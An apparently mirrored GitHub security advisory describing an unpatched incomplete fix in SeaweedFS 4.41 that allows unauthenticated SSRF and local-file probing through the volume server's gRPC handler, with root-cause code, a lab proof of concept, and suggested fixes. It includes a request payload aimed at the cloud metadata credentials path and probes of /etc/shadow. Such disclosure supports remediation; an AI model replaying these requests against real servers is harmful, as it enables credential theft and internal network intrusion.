GHSA-939F-XH28-2Q48
Unauthenticated SSRF (IMDS-reachable) and local-file oracle in VolumeServer.FetchAndWriteNeedle — incomplete fix of CVE-2026-73080
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-939F-XH28-2Q48 divulgada · CVSS 7.2 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The fix for CVE-2026-73080 (GHSA-87fv-vqqr-m4jr, "Unauthenticated SSRF with response
read-back via VolumeServer") guards one attacker-controlled URL in
`VolumeServer.FetchAndWriteNeedle` and leaves sibling inputs in the same handler
unguarded. On the current release (4.41) and at `master`, an unauthenticated attacker
who can reach the volume server's gRPC port can still:
- perform SSRF over plain HTTP to any host/port/path, including `127.0.0.1` and
- perform SSRF over HTTPS to an otherwise-blocked address via the `azure` backend
- probe arbitrary local files for existence/readability via the `gcs` backend
The guard that was added does work — it rejects the patched leg in the same run — so this
is specifically an incomplete fix, not a re-report of CVE-2026-73080.
Verified end-to-end on the shipped image `chrislusf/seaweedfs:4.41` with a fully anonymous
gRPC client (no credentials, no TLS, no metadata) and a working negative control.
Affected
- SeaweedFS 4.41 (current latest) and `master` — `weed/server/volume_grpc_remote.go`.
- Default configuration: stock `weed server`, no `security.toml`, no `-whiteList`. The
- No credentials of any kind are required.
Root cause — one guarded leg, three unguarded ones
The patch validates the remote storage endpoint, and only when the backend is
S3-compatible:
// weed/server/volume_grpc_remote.go (~242-256)
endpoint, isS3Compatible := "", false
if remoteConf != nil {
endpoint, isS3Compatible = s3remote.S3CompatibleEndpoint(remoteConf)
}
// (gcs, azure, ...) authenticate against their own SDKs and don't accept
// an attacker-controlled host. <-- this assumption is wrong for azure
if !vs.AllowUntrustedRemoteEndpoints && isS3Compatible {
if validateErr := validateRemoteEndpoint(ctx, endpoint); validateErr != nil {
return nil, fmt.Errorf("reject remote endpoint: %w", validateErr)
}
client, getClientErr = s3remote.MakeWithHTTPClient(remoteConf, newGuardedHTTPClient(endpoint))Immediately below, in the same handler, a second attacker-controlled URL is used with
no validation at all:
// weed/server/volume_grpc_remote.go (~312-338)
if len(req.Replicas) > 0 {
fileId := needle.NewFileId(v.Id, req.NeedleId, req.Cookie)
for i, replica := range req.Replicas {
go func(idx int, targetVolumeServer string) {
uploadOption := &operation.UploadOption{
UploadUrl: fmt.Sprintf("http://%s/%s?type=replicate", targetVolumeServer, fileId.String()),
...
Jwt: security.EncodedJwt(req.Auth), // attacker-controlled Authorization
}
uploader.UploadData(ctx, data, uploadOption) // <-- fetch, no checkBlockedIP
}(i, replica.Url) // <-- replica.Url unvalidated
}
}| # | Gap | Why the guard misses it |
|---|---|---|
| 1 | `replicas[].url` | never passed to `validateRemoteEndpoint`/`checkBlockedIP`; goes straight into `fmt.Sprintf("http://%s/...")`. Attacker controls host, port, path and query (a trailing `?a=` swallows the appended `?type=replicate`), the `Authorization` header (`req.Auth`) and the POSTed bytes. |
| 2 | `azure_endpoint` | the guard runs only `if isS3Compatible`; the code comment assumes non-S3 SDKs reject attacker hosts, but the Azure client honours `azure_endpoint` and dials it over HTTPS. |
| 3 | `gcs_google_application_credentials` | a local path, read before any validation; distinct error strings leak file existence, readability and content shape. |
Proof of concept
Anonymous gRPC client (`grpc.WithTransportCredentials(insecure.NewCredentials())`, no
metadata) against a stock volume server. Stage 1 is placed on `192.0.2.0/24` (TEST-NET-1 —
not loopback, private or link-local) so it passes `checkBlockedIP`; this proves the
bypass is not simply "the guard is disabled".
docker network create --subnet 192.0.2.0/24 lab
docker run -d --name sw --network lab --ip 192.0.2.5 chrislusf/seaweedfs:4.41 \
server -dir=/data -ip=192.0.2.5 -volume.port=8080
docker exec sw wget -qO- http://192.0.2.5:9333/dir/assign # unauthenticated; creates volume 1
# stage-1 S3 stub on 192.0.2.10, internal victim on the target's own 127.0.0.1:7000Request (abridged): `volume_id:1`, `remote_conf{type:"s3", s3_endpoint:"http://192.0.2.10:9000/"}`,
`auth:"ATTACKER-SUPPLIED-TOKEN"`,
`replicas:[{url:"127.0.0.1:7000/latest/meta-data/iam/security-credentials/?a="}]`.
Negative control — the patched leg still works:
s3_endpoint=http://127.0.0.1:7000/
-> rpc error: reject remote endpoint: remote endpoint "http://127.0.0.1:7000/"
resolves to loopback address 127.0.0.1Gap 1 — the unguarded leg succeeds:
SUCCESS resp=e_tag:"db578d60"and the internal service on the target's own loopback logged the forged request verbatim:
POST /latest/meta-data/iam/security-credentials/?a=/1,133712345678?type=replicate HTTP/1.1
Host: 127.0.0.1:7000
Authorization: Bearer ATTACKER-SUPPLIED-TOKEN
Content-Type: multipart/form-data; boundary=...
...
<attacker-chosen bytes, fetched from stage 1>Gap 3 — three distinguishable states:
/etc/hostname -> failed to parse credentials: invalid character 'b' in exponent (exists, readable)
/nope/nothere -> failed to read credentials file: no such file or directory (absent)
/etc/shadow -> failed to read credentials file: permission denied (exists, not readable)Operational precondition, stated plainly: the volume server must already host the
referenced volume id. That is satisfied with the unauthenticated master call
`GET /dir/assign` shown above.
A self-contained Go client that runs the negative control plus all three gaps is available
on request.
Impact
Unauthenticated and network-reachable:
- **SSRF with attacker-controlled path, query, `Authorization` header and body, over plain
- SSRF over HTTPS to otherwise-blocked addresses (gap 2).
- Filesystem oracle to enumerate mounted secrets and confirm credential locations (gap 3).
Suggested fix
- Validate every attacker-supplied destination in the handler, not just the S3
- Apply the endpoint validation for all backends, not only `isS3Compatible` — in
- Do not accept a caller-supplied local path (`gcs_google_application_credentials`) on
- Authenticate the volume-server gRPC plane by default, or refuse to start
References
- Parent: CVE-2026-73080 / GHSA-87fv-vqqr-m4jr
- Code at `master`: `weed/server/volume_grpc_remote.go` — guard ~242-256, unguarded replica
- Tested build: `chrislusf/seaweedfs:4.41`
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-939f-xh28-2q48Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
